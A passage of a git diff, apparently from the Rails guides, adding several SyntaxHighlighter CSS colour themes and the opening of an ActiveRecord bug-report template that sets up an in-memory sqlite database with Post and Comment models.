+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #e0e0e0 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: black !important;
+}
+.syntaxhighlighter table caption {
+ color: black !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #6ce26c !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #6ce26c !important;
+ color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: blue !important;
+ background: white !important;
+ border: 1px solid #6ce26c !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: blue !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: red !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #6ce26c !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: black !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: blue !important;
+}
+.syntaxhighlighter .keyword {
+ color: #006699 !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #006699 !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+ font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
new file mode 100644
index 0000000..d8b4313
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
@@ -0,0 +1,120 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #233729 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: #f8f8f8 !important;
+}
+.syntaxhighlighter .gutter {
+ color: #497958 !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #41a83e !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #41a83e !important;
+ color: #0a2b1d !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #96dd3b !important;
+ background: black !important;
+ border: 1px solid #41a83e !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #96dd3b !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #41a83e !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #ffe862 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #f8f8f8 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #336442 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #9df39f !important;
+}
+.syntaxhighlighter .keyword {
+ color: #96dd3b !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #91bb9e !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #96dd3b !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #eb939a !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #91bb9e !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #edef7d !important;
+}
+
+.syntaxhighlighter .comments {
+ font-style: italic !important;
+}
+.syntaxhighlighter .keyword {
+ font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
new file mode 100644
index 0000000..77377d9
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
@@ -0,0 +1,128 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: black !important;
+}
+.syntaxhighlighter .gutter {
+ color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #d4d0c8 !important;
+ color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #3f5fbf !important;
+ background: white !important;
+ border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: #a0a0a0 !important;
+ background: #d4d0c8 !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #3f5fbf !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #2a00ff !important;
+}
+.syntaxhighlighter .keyword {
+ color: #7f0055 !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #7f0055 !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .xml .keyword {
+ color: #3f7f7f !important;
+ font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+ color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+ font-style: italic !important;
+ color: #2a00ff !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
new file mode 100644
index 0000000..dae5053
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: black !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: black !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: black !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #2a3133 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter {
+ color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #990000 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #990000 !important;
+ color: black !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #ebdb8d !important;
+ background: black !important;
+ border: 1px solid #990000 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #ebdb8d !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #ff7d27 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #990000 !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #d3d3d3 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #ff7d27 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #ff9e7b !important;
+}
+.syntaxhighlighter .keyword {
+ color: aqua !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #aec4de !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #81cef9 !important;
+}
+.syntaxhighlighter .constants {
+ color: #ff9e7b !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: aqua !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #ebdb8d !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #ff7d27 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #aec4de !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
new file mode 100644
index 0000000..8fbd871
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
@@ -0,0 +1,117 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #121212 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #2c2c29 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: white !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #3185b9 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #3185b9 !important;
+ color: #121212 !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #3185b9 !important;
+ background: black !important;
+ border: 1px solid #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #d01d33 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #3185b9 !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #96daff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: white !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #696854 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #e3e658 !important;
+}
+.syntaxhighlighter .keyword {
+ color: #d01d33 !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+ color: #898989 !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #aaaaaa !important;
+}
+.syntaxhighlighter .constants {
+ color: #96daff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #d01d33 !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #ffc074 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #4a8cdb !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #96daff !important;
+}
+
+.syntaxhighlighter .functions {
+ font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
new file mode 100755
index 0000000..f4db39c
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #222222 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: lime !important;
+}
+.syntaxhighlighter .gutter {
+ color: #38566f !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #435a5f !important;
+ color: #222222 !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #428bdd !important;
+ background: black !important;
+ border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: lime !important;
+}
+.syntaxhighlighter .toolbar {
+ color: #aaaaff !important;
+ background: #435a5f !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: #aaaaff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: lime !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: lime !important;
+}
+.syntaxhighlighter .keyword {
+ color: #aaaaff !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+ color: aqua !important;
+}
+.syntaxhighlighter .value {
+ color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ff8000 !important;
+}
+.syntaxhighlighter .constants {
+ color: yellow !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #aaaaff !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: red !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: yellow !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
new file mode 100644
index 0000000..c49563c
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: #38566f !important;
+}
+.syntaxhighlighter table caption {
+ color: #d1edff !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #435a5f !important;
+ color: #0f192a !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #428bdd !important;
+ background: black !important;
+ border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #1dc116 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: #d1edff !important;
+ background: #435a5f !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: #d1edff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #8aa6c1 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #d1edff !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #1dc116 !important;
+}
+.syntaxhighlighter .keyword {
+ color: #b43d3d !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #b43d3d !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #f8bb00 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
new file mode 100644
index 0000000..6305a10
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+ background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #323e41 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: #b9bdb6 !important;
+}
+.syntaxhighlighter table caption {
+ color: #b9bdb6 !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #435a5f !important;
+ color: #1b2426 !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #5ba1cf !important;
+ background: black !important;
+ border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #5ba1cf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #5ce638 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #435a5f !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #b9bdb6 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #878a85 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #5ce638 !important;
+}
+.syntaxhighlighter .keyword {
+ color: #5ba1cf !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #5ba1cf !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
new file mode 100644
index 0000000..6d2edb2
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
@@ -0,0 +1,116 @@
+/**
+ * Theme by fxn, took shThemeEclipse.css as starting point.
+ */
+.syntaxhighlighter {
+ background-color: #eee !important;
+ font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important;
+ overflow-y: hidden !important;
+ overflow-x: auto !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #eee !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #eee !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: #eee !important;
+}
+.syntaxhighlighter table caption {
+ color: #222 !important;
+}
+.syntaxhighlighter .gutter {
+ color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #d4d0c8 !important;
+ color: #eee !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #3f5fbf !important;
+ background: #eee !important;
+ border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: #a0a0a0 !important;
+ background: #d4d0c8 !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #222 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #708090 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ font-style: italic !important;
+ color: #6588A8 !important;
+}
+.syntaxhighlighter .keyword {
+ color: #64434d !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+ color: #222 !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+ color: #222 !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #222 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: red !important;
+}
+
+.syntaxhighlighter .xml .keyword {
+ color: #64434d !important;
+ font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+ color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+ font-style: italic !important;
+ color: #6588A8 !important;
+}
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
new file mode 100644
index 0000000..2c63342
--- /dev/null
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -0,0 +1,37 @@
+# Activate the gem you are reporting the issue against.
+gem 'activerecord', '3.2.11'
+require 'active_record'
+require 'minitest/autorun'
+require 'logger'
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+ create_table :posts do |t|
+ end
+
+ create_table :comments do |t|
+ t.integer :post_id
+ end
+end
+
+class Post < ActiveRecord::Base
+ has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+
